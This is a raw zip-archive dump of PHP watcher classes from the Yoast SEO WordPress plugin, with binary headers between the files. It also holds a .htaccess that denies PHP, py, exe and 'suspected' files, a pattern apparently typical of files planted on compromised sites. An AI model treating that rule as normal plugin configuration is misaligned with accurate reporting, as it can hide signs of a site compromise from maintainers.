	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * The notification helper.
	 *
	 * @var Notification_Helper
	 */
	protected $notification_helper;

	/**
	 * The search engines discouraged presenter.
	 *
	 * @var Search_Engines_Discouraged_Presenter
	 */
	protected $presenter;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The capability helper.
	 *
	 * @var Capability_Helper
	 */
	protected $capability_helper;

	/**
	 * Search_Engines_Discouraged_Watcher constructor.
	 *
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Notification_Helper       $notification_helper The notification helper.
	 * @param Current_Page_Helper       $current_page_helper The current page helper.
	 * @param Options_Helper            $options_helper      The options helper.
	 * @param Capability_Helper         $capability_helper   The capability helper.
	 */
	public function __construct(
		Yoast_Notification_Center $notification_center,
		Notification_Helper $notification_helper,
		Current_Page_Helper $current_page_helper,
		Options_Helper $options_helper,
		Capability_Helper $capability_helper
	) {
		$this->notification_center = $notification_center;
		$this->notification_helper = $notification_helper;
		$this->current_page_helper = $current_page_helper;
		$this->options_helper      = $options_helper;
		$this->capability_helper   = $capability_helper;
		$this->presenter           = new Search_Engines_Discouraged_Presenter();
	}

	/**
	 * Initializes the integration.
	 *
	 * On admin_init, it is checked whether the notification about search engines being discouraged should be shown.
	 * On admin_notices, the notice about the search engines being discouraged will be shown when necessary.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'manage_search_engines_discouraged_notification' ] );

		\add_action( 'update_option_blog_public', [ $this, 'restore_ignore_option' ] );

		/*
		 * The `admin_notices` hook fires on single site admin pages vs.
		 * `network_admin_notices` which fires on multisite admin pages and
		 * `user_admin_notices` which fires on multisite user admin pages.
		 */
		\add_action( 'admin_notices', [ $this, 'maybe_show_search_engines_discouraged_notice' ] );
	}

	/**
	 * Manage the search engines discouraged notification.
	 *
	 * Shows the notification if needed and deletes it if needed.
	 *
	 * @return void
	 */
	public function manage_search_engines_discouraged_notification() {
		if ( ! $this->should_show_search_engines_discouraged_notification() ) {
			$this->remove_search_engines_discouraged_notification_if_exists();
		}
		else {
			$this->maybe_add_search_engines_discouraged_notification();
		}
	}

	/**
	 * Show the search engine discouraged notice when needed.
	 *
	 * @return void
	 */
	public function maybe_show_search_engines_discouraged_notice() {
		if ( ! $this->should_show_search_engines_discouraged_notice() ) {
			return;
		}
		$this->show_search_engines_discouraged_notice();
	}

	/**
	 * Whether the search engines discouraged notification should be shown.
	 *
	 * @return bool
	 */
	protected function should_show_search_engines_discouraged_notification() {
		return $this->search_engines_are_discouraged() && $this->options_helper->get( 'ignore_search_engines_discouraged_notice', false ) === false;
	}

	/**
	 * Remove the search engines discouraged notification if it exists.
	 *
	 * @return void
	 */
	protected function remove_search_engines_discouraged_notification_if_exists() {
		$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
	}

	/**
	 * Add the search engines discouraged notification if it does not exist yet.
	 *
	 * @return void
	 */
	protected function maybe_add_search_engines_discouraged_notification() {
		if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) {
			$notification = $this->notification();
			$this->notification_helper->restore_notification( $notification );
			$this->notification_center->add_notification( $notification );
		}
	}

	/**
	 * Checks whether search engines are discouraged from indexing the site.
	 *
	 * @return bool Whether search engines are discouraged from indexing the site.
	 */
	protected function search_engines_are_discouraged() {
		return (string) \get_option( 'blog_public' ) === '0';
	}

	/**
	 * Whether the search engines notice should be shown.
	 *
	 * @return bool
	 */
	protected function should_show_search_engines_discouraged_notice() {
		$pages_to_show_notice = [
			'index.php',
			'plugins.php',
			'update-core.php',
		];

		return (
			$this->search_engines_are_discouraged()
			&& $this->capability_helper->current_user_can( 'manage_options' )
			&& $this->options_helper->get( 'ignore_search_engines_discouraged_notice', false ) === false
			&& (
				$this->current_page_helper->is_yoast_seo_page()
				|| \in_array( $this->current_page_helper->get_current_admin_page(), $pages_to_show_notice, true )
			)
			&& $this->current_page_helper->get_current_yoast_seo_page() !== 'wpseo_dashboard'
		);
	}

	/**
	 * Show the search engines discouraged notice.
	 *
	 * @return void
	 */
	protected function show_search_engines_discouraged_notice() {
		\printf(
			'<div id="robotsmessage" class="notice notice-error">%1$s</div>',
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output from present() is considered safe.
			$this->presenter->present()
		);
	}

	/**
	 * Returns an instance of the notification.
	 *
	 * @return Yoast_Notification The notification to show.
	 */
	protected function notification() {
		return new Yoast_Notification(
			$this->presenter->present(),
			[
				'type'         => Yoast_Notification::ERROR,
				'id'           => self::NOTIFICATION_ID,
				'capabilities' => 'wpseo_manage_options',
				'priority'     => 1,
			]
		);
	}

	/**
	 * Should restore the ignore option for the search engines discouraged notice.
	 *
	 * @return void
	 */
	public function restore_ignore_option() {
		if ( ! $this->search_engines_are_discouraged() ) {
			$this->options_helper->set( 'ignore_search_engines_discouraged_notice', false );
		}
	}
}
PK       ! 0p    /  watchers/indexable-static-home-page-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Watcher that checks for changes in the page used as homepage.
 *
 * Watches the static homepage option and updates the permalinks accordingly.
 */
class Indexable_Static_Home_Page_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Indexable_Static_Home_Page_Watcher constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Indexable_Repository $repository The repository to use.
	 */
	public function __construct( Indexable_Repository $repository ) {
		$this->repository = $repository;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_page_on_front', [ $this, 'update_static_homepage_permalink' ], 10, 2 );
	}

	/**
	 * Updates the new and previous homepage's permalink when the static home page is updated.
	 *
	 * @param string $old_value The previous homepage's ID.
	 * @param int    $value     The new homepage's ID.
	 *
	 * @return void
	 */
	public function update_static_homepage_permalink( $old_value, $value ) {
		if ( \is_string( $old_value ) ) {
			$old_value = (int) $old_value;
		}

		if ( $old_value === $value ) {
			return;
		}

		$this->update_permalink_for_page( $old_value );
		$this->update_permalink_for_page( $value );
	}

	/**
	 * Updates the permalink based on the selected homepage settings.
	 *
	 * @param int $page_id The page's id.
	 *
	 * @return void
	 */
	private function update_permalink_for_page( $page_id ) {
		if ( $page_id === 0 ) {
			return;
		}

		$indexable = $this->repository->find_by_id_and_type( $page_id, 'post', false );

		if ( $indexable === false ) {
			return;
		}

		$indexable->permalink = \get_permalink( $page_id );

		$indexable->save();
	}
}
PK       ! 8/8  8  .  watchers/indexable-taxonomy-change-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Actions\Indexing\Indexable_Term_Indexation_Action;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification_Center;

/**
 * Taxonomy watcher.
 *
 * Responds to changes in taxonomies public availability.
 */
class Indexable_Taxonomy_Change_Watcher implements Integration_Interface {

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Holds the Taxonomy_Helper instance.
	 *
	 * @var Taxonomy_Helper
	 */
	private $taxonomy_helper;

	/**
	 * The notifications center.
	 *
	 * @var Yoast_Notification_Center
	 */
	private $notification_center;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Not_Admin_Ajax_Conditional::class, Admin_Conditional::class, Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Taxonomy_Change_Watcher constructor.
	 *
	 * @param Indexing_Helper           $indexing_helper     The indexing helper.
	 * @param Options_Helper            $options             The options helper.
	 * @param Taxonomy_Helper           $taxonomy_helper     The taxonomy helper.
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Indexable_Helper          $indexable_helper    The indexable helper.
	 */
	public function __construct(
		Indexing_Helper $indexing_helper,
		Options_Helper $options,
		Taxonomy_Helper $taxonomy_helper,
		Yoast_Notification_Center $notification_center,
		Indexable_Helper $indexable_helper
	) {
		$this->indexing_helper     = $indexing_helper;
		$this->options             = $options;
		$this->taxonomy_helper     = $taxonomy_helper;
		$this->notification_center = $notification_center;
		$this->indexable_helper    = $indexable_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'check_taxonomy_public_availability' ] );
	}

	/**
	 * Checks if one or more taxonomies change visibility.
	 *
	 * @return void
	 */
	public function check_taxonomy_public_availability() {

		// We have to make sure this is just a plain http request, no ajax/REST.
		if ( \wp_is_json_request() ) {
			return;
		}

		$public_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies();

		$last_known_public_taxonomies = $this->options->get( 'last_known_public_taxonomies', [] );

		// Initializing the option on the first run.
		if ( empty( $last_known_public_taxonomies ) ) {
			$this->options->set( 'last_known_public_taxonomies', $public_taxonomies );
			return;
		}

		// We look for new public taxonomies.
		$newly_made_public_taxonomies = \array_diff( $public_taxonomies, $last_known_public_taxonomies );

		// We look fortaxonomies that from public have been made private.
		$newly_made_non_public_taxonomies = \array_diff( $last_known_public_taxonomies, $public_taxonomies );

		// Nothing to be done if no changes has been made to taxonomies.
		if ( empty( $newly_made_public_taxonomies ) && ( empty( $newly_made_non_public_taxonomies ) ) ) {
			return;
		}

		// Update the list of last known public taxonomies in the database.
		$this->options->set( 'last_known_public_taxonomies', $public_taxonomies );

		// There are new taxonomies that have been made public.
		if ( ! empty( $newly_made_public_taxonomies ) ) {

			// Force a notification requesting to start the SEO data optimization.
			\delete_transient( Indexable_Term_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( Indexable_Term_Indexation_Action::UNINDEXED_LIMITED_COUNT_TRANSIENT );

			$this->indexing_helper->set_reason( Indexing_Reasons::REASON_TAXONOMY_MADE_PUBLIC );
			\do_action( 'new_public_taxonomy_notifications', $newly_made_public_taxonomies );
		}

		// There are taxonomies that have been made private.
		if ( ! empty( $newly_made_non_public_taxonomies ) && $this->indexable_helper->should_index_indexables() ) {
			// Schedule a cron job to remove all the terms whose taxonomy has been made private.
			$cleanup_not_yet_scheduled = ! \wp_next_scheduled( Cleanup_Integration::START_HOOK );
			if ( $cleanup_not_yet_scheduled ) {
				\wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
			}

			\do_action( 'clean_new_public_taxonomy_notifications', $newly_made_non_public_taxonomies );
		}
	}
}
PK       ! 4G    ,  watchers/woocommerce-beta-editor-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional;
use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Helpers\Notification_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Woocommerce_Beta_Editor_Presenter;
use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * Shows a notification for users who have Woocommerce product beta editor enabled.
 */
class Woocommerce_Beta_Editor_Watcher implements Integration_Interface {

	/**
	 * The notification ID.
	 */
	public const NOTIFICATION_ID = 'wpseo-woocommerce-beta-editor-warning';

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * The Yoast notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * The notification helper.
	 *
	 * @var Notification_Helper
	 */
	protected $notification_helper;

	/**
	 * The WooCommerce conditional.
	 *
	 * @var WooCommerce_Conditional
	 */
	protected $woocommerce_conditional;

	/**
	 * The Woocommerce beta editor presenter.
	 *
	 * @var Woocommerce_Beta_Editor_Presenter
	 */
	protected $presenter;

	/**
	 * Woocommerce_Beta_Editor_Watcher constructor.
	 *
	 * @param Yoast_Notification_Center $notification_center     The notification center.
	 * @param Notification_Helper       $notification_helper     The notification helper.
	 * @param Short_Link_Helper         $short_link_helper       The short link helper.
	 * @param WooCommerce_Conditional   $woocommerce_conditional The WooCommerce conditional.
	 */
	public function __construct(
		Yoast_Notification_Center $notification_center,
		Notification_Helper $notification_helper,
		Short_Link_Helper $short_link_helper,
		WooCommerce_Conditional $woocommerce_conditional
	) {
		$this->notification_center     = $notification_center;
		$this->notification_helper     = $notification_helper;
		$this->short_link_helper       = $short_link_helper;
		$this->woocommerce_conditional = $woocommerce_conditional;
		$this->presenter               = new Woocommerce_Beta_Editor_Presenter( $this->short_link_helper );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class, Not_Admin_Ajax_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * On admin_init, it is checked whether the notification about Woocommerce product beta editor enabled should be shown.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'manage_woocommerce_beta_editor_notification' ] );
	}

	/**
	 * Manage the Woocommerce product beta editor notification.
	 *
	 * Shows the notification if needed and deletes it if needed.
	 *
	 * @return void
	 */
	public function manage_woocommerce_beta_editor_notification() {
		if ( \get_option( 'woocommerce_feature_product_block_editor_enabled' ) === 'yes' && $this->woocommerce_conditional->is_met() ) {
			$this->maybe_add_woocommerce_beta_editor_notification();
		}
		else {
			$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
		}
	}

	/**
	 * Add the Woocommerce product beta editor enabled notification if it does not exist yet.
	 *
	 * @return void
	 */
	public function maybe_add_woocommerce_beta_editor_notification() {
		if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) {
			$notification = $this->notification();
			$this->notification_helper->restore_notification( $notification );
			$this->notification_center->add_notification( $notification );
		}
	}

	/**
	 * Returns an instance of the notification.
	 *
	 * @return Yoast_Notification The notification to show.
	 */
	protected function notification() {
		return new Yoast_Notification(
			$this->presenter->present(),
			[
				'type'         => Yoast_Notification::ERROR,
				'id'           => self::NOTIFICATION_ID,
				'capabilities' => 'wpseo_manage_options',
				'priority'     => 1,
			]
		);
	}
}
PK       ! 3  3  "  watchers/option-titles-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\WordPress\Wrapper;

/**
 * Watcher for the titles option.
 *
 * Represents the option titles watcher.
 */
class Option_Titles_Watcher implements Integration_Interface {

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<Migrations_Conditional>
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Checks if one of the relevant options has been changed.
	 *
	 * @param array<string,int,bool> $old_value The old value of the option.
	 * @param array<string,int,bool> $new_value The new value of the option.
	 *
	 * @return bool Whether or not the ancestors are removed.
	 */
	public function check_option( $old_value, $new_value ) {
		// If this is the first time saving the option, thus when value is false.
		if ( $old_value === false ) {
			$old_value = [];
		}

		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return false;
		}

		$relevant_keys = $this->get_relevant_keys();
		if ( empty( $relevant_keys ) ) {
			return false;
		}

		$post_types = [];

		foreach ( $relevant_keys as $post_type => $relevant_option ) {
			// If both values aren't set they haven't changed.
			if ( ! isset( $old_value[ $relevant_option ] ) && ! isset( $new_value[ $relevant_option ] ) ) {
				continue;
			}

			if ( $old_value[ $relevant_option ] !== $new_value[ $relevant_option ] ) {
				$post_types[] = $post_type;
			}
		}

		return $this->delete_ancestors( $post_types );
	}

	/**
	 * Retrieves the relevant keys.
	 *
	 * @return array<string> Array with the relevant keys.
	 */
	protected function get_relevant_keys() {
		$post_types = \get_post_types( [ 'public' => true ], 'names' );
		if ( ! \is_array( $post_types ) || $post_types === [] ) {
			return [];
		}

		$relevant_keys = [];
		foreach ( $post_types as $post_type ) {
			$relevant_keys[ $post_type ] = 'post_types-' . $post_type . '-maintax';
		}

		return $relevant_keys;
	}

	/**
	 * Removes the ancestors for given post types.
	 *
	 * @param array<string> $post_types The post types to remove hierarchy for.
	 *
	 * @return bool True when delete query was successful.
	 */
	protected function delete_ancestors( $post_types ) {
		if ( empty( $post_types ) ) {
			return false;
		}

		$wpdb            = Wrapper::get_wpdb();
		$hierarchy_table = Model::get_table_name( 'Indexable_Hierarchy' );
		$indexable_table = Model::get_table_name( 'Indexable' );

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Delete query.
		$result = $wpdb->query(
			$wpdb->prepare(
				"
				DELETE FROM %i
				WHERE indexable_id IN(
					SELECT id
					FROM %i
					WHERE object_type = 'post'
					AND object_sub_type IN( " . \implode( ', ', \array_fill( 0, \count( $post_types ), '%s' ) ) . ' )
				)',
				$hierarchy_table,
				$indexable_table,
				...$post_types
			)
		);

		return $result !== false;
	}
}
PK       ! )        watchers/.htaccessnu 6$        <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK       ! {    &  watchers/indexable-homeurl-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use WP_CLI;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Home url option watcher.
 *
 * Handles updates to the home URL option for the Indexables table.
 */
class Indexable_HomeUrl_Watcher implements Integration_Interface {

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_HomeUrl_Watcher constructor.
	 *
	 * @param Post_Type_Helper $post_type The post type helper.
	 * @param Options_Helper   $options   The options helper.
	 * @param Indexable_Helper $indexable The indexable helper.
	 */
	public function __construct( Post_Type_Helper $post_type, Options_Helper $options, Indexable_Helper $indexable ) {
		$this->post_type        = $post_type;
		$this->options_helper   = $options;
		$this->indexable_helper = $indexable;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_home', [ $this, 'reset_permalinks' ] );
		\add_action( 'wpseo_permalink_structure_check', [ $this, 'force_reset_permalinks' ] );
	}

	/**
	 * Resets the permalinks for everything that is related to the permalink structure.
	 *
	 * @return void
	 */
	public function reset_permalinks() {
		$this->indexable_helper->reset_permalink_indexables( null, null, Indexing_Reasons::REASON_HOME_URL_OPTION );

		// Reset the home_url option.
		$this->options_helper->set( 'home_url', \get_home_url() );
	}

	/**
	 * Resets the permalink indexables automatically, if necessary.
	 *
	 * @return bool Whether the request ran.
	 */
	public function force_reset_permalinks() {
		if ( $this->should_reset_permalinks() ) {
			$this->reset_permalinks();

			if ( \defined( 'WP_CLI' ) && \WP_CLI ) {
				WP_CLI::success( \__( 'All permalinks were successfully reset', 'wordpress-seo' ) );
			}

			return true;
		}

		return false;
	}

	/**
	 * Checks whether permalinks should be reset.
	 *
	 * @return bool Whether the permalinks should be reset.
	 */
	public function should_reset_permalinks() {
		return \get_home_url() !== $this->options_helper->get( 'home_url' );
	}
}
PK       ! U    !  watchers/primary-term-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use WP_Term;
use WPSEO_Meta;
use WPSEO_Primary_Term;
use Yoast\WP\SEO\Builders\Primary_Term_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Primary_Term_Helper;
use Yoast\WP\SEO\Helpers\Site_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Primary_Term_Repository;

/**
 * Primary Term watcher.
 *
 * Watches Posts to save the primary term when set.
 */
class Primary_Term_Watcher implements Integration_Interface {

	/**
	 * The primary term repository.
	 *
	 * @var Primary_Term_Repository
	 */
	protected $repository;

	/**
	 * Represents the site helper.
	 *
	 * @var Site_Helper
	 */
	protected $site;

	/**
	 * The primary term helper.
	 *
	 * @var Primary_Term_Helper
	 */
	protected $primary_term;

	/**
	 * The primary term builder.
	 *
	 * @var Primary_Term_Builder
	 */
	protected $primary_term_builder;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Primary_Term_Watcher constructor.
	 *
	 * @codeCoverageIgnore It sets dependencies.
	 *
	 * @param Primary_Term_Repository $repository           The primary term repository.
	 * @param Site_Helper             $site                 The site helper.
	 * @param Primary_Term_Helper     $primary_term         The primary term helper.
	 * @param Primary_Term_Builder    $primary_term_builder The primary term builder.
	 */
	public function __construct(
		Primary_Term_Repository $repository,
		Site_Helper $site,
		Primary_Term_Helper $primary_term,
		Primary_Term_Builder $primary_term_builder
	) {
		$this->repository           = $repository;
		$this->site                 = $site;
		$this->primary_term         = $primary_term;
		$this->primary_term_builder = $primary_term_builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'save_post', [ $this, 'save_primary_terms' ], \PHP_INT_MAX );
		\add_action( 'delete_post', [ $this, 'delete_primary_terms' ] );
	}

	/**
	 * Saves all selected primary terms.
	 *
	 * @param int $post_id Post ID to save primary terms for.
	 *
	 * @return void
	 */
	public function save_primary_terms( $post_id ) {
		// Bail if this is a multisite installation and the site has been switched.
		if ( $this->site->is_multisite_and_switched() ) {
			return;
		}

		$taxonomies = $this->primary_term->get_primary_term_taxonomies( $post_id );

		foreach ( $taxonomies as $taxonomy ) {
			$this->save_primary_term( $post_id, $taxonomy );
		}

		$this->primary_term_builder->build( $post_id );
	}

	/**
	 * Saves the primary term for a specific taxonomy.
	 *
	 * @param int     $post_id  Post ID to save primary term for.
	 * @param WP_Term $taxonomy Taxonomy to save primary term for.
	 *
	 * @return void
	 */
	protected function save_primary_term( $post_id, $taxonomy ) {
		if ( isset( $_POST[ WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_term' ] ) && \is_string( $_POST[ WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_term' ] ) ) {
			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are casting to an integer.
			$primary_term_id = (int) \wp_unslash( $_POST[ WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_term' ] );

			if ( $primary_term_id <= 0 ) {
				$primary_term = '';
			}
			else {
				$primary_term = (string) $primary_term_id;
			}

			// We accept an empty string here because we need to save that if no terms are selected.
			if ( \check_admin_referer( 'save-primary-term', WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_nonce' ) !== null ) {
				$primary_term_object = new WPSEO_Primary_Term( $taxonomy->name, $post_id );
				$primary_term_object->set_primary_term( $primary_term );
			}
		}
	}

	/**
	 * Deletes primary terms for a post.
	 *
	 * @param int $post_id The post to delete the terms of.
	 *
	 * @return void
	 */
	public function delete_primary_terms( $post_id ) {
		foreach ( $this->primary_term->get_primary_term_taxonomies( $post_id ) as $taxonomy ) {
			$primary_term_indexable = $this->repository->find_by_post_id_and_taxonomy( $post_id, $taxonomy->name, false );

			if ( ! $primary_term_indexable ) {
				continue;
			}

			$primary_term_indexable->delete();
		}
	}
}
PK       ! 6f-(    (  watchers/indexable-post-meta-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use WPSEO_Meta;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * WordPress post meta watcher.
 */
class Indexable_Post_Meta_Watcher implements Integration_Interface {

	/**
	 * The post watcher.
	 *
	 * @var Indexable_Post_Watcher
	 */
	protected $post_watcher;

	/**
	 * An array of post IDs that need to be updated.
	 *
	 * @var array<int>
	 */
	protected $post_ids_to_update = [];

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return string[]
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Postmeta_Watcher constructor.
	 *
	 * @param Indexable_Post_Watcher $post_watcher The post watcher.
	 */
	public function __construct( Indexable_Post_Watcher $post_watcher ) {
		$this->post_watcher = $post_watcher;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Register all posts whose meta have changed.
		\add_action( 'added_post_meta', [ $this, 'add_post_id' ], 10, 3 );
		\add_action( 'updated_post_meta', [ $this, 'add_post_id' ], 10, 3 );
		\add_action( 'deleted_post_meta', [ $this, 'add_post_id' ], 10, 3 );

		// Remove posts that get saved as they are handled by the Indexable_Post_Watcher.
		\add_action( 'wp_insert_post', [ $this, 'remove_post_id' ] );
		\add_action( 'delete_post', [ $this, 'remove_post_id' ] );
		\add_action( 'edit_attachment', [ $this, 'remove_post_id' ] );
		\add_action( 'add_attachment', [ $this, 'remove_post_id' ] );
		\add_action( 'delete_attachment', [ $this, 'remove_post_id' ] );

		// Update indexables of all registered posts.
		\register_shutdown_function( [ $this, 'update_indexables' ] );
	}

	/**
	 * Adds a post id to the array of posts to update.
	 *
	 * @param int|string $meta_id  The meta ID.
	 * @param int|string $post_id  The post ID.
	 * @param string     $meta_key The meta key.
	 *
	 * @return void
	 */
	public function add_post_id( $meta_id, $post_id, $meta_key ) {
		// Only register changes to our own meta.
		if ( \is_string( $meta_key ) && \strpos( $meta_key, WPSEO_Meta::$meta_prefix ) !== 0 ) {
			return;
		}

		if ( ! \in_array( $post_id, $this->post_ids_to_update, true ) ) {
			$this->post_ids_to_update[] = (int) $post_id;
		}
	}

	/**
	 * Removes a post id from the array of posts to update.
	 *
	 * @param int|string $post_id The post ID.
	 *
	 * @return void
	 */
	public function remove_post_id( $post_id ) {
		$this->post_ids_to_update = \array_diff( $this->post_ids_to_update, [ (int) $post_id ] );
	}

	/**
	 * Updates all indexables changed during the request.
	 *
	 * @return void
	 */
	public function update_indexables() {
		foreach ( $this->post_ids_to_update as $post_id ) {
			$this->post_watcher->build_indexable( $post_id );
		}
	}
}
PK       ! *?      '  watchers/indexable-ancestor-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Hierarchy_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Permalink_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Hierarchy_Repository;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Ancestor watcher to update the ancestor's children.
 *
 * Updates its children's permalink when the ancestor itself is updated.
 */
class Indexable_Ancestor_Watcher implements Integration_Interface {

	/**
	 * Represents the indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Represents the indexable hierarchy builder.
	 *
	 * @var Indexable_Hierarchy_Builder
	 */
	protected $indexable_hierarchy_builder;

	/**
	 * Represents the indexable hierarchy repository.
	 *
	 * @var Indexable_Hierarchy_Repository
	 */
	protected $indexable_hierarchy_repository;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Represents the permalink helper.
	 *
	 * @var Permalink_Helper
	 */
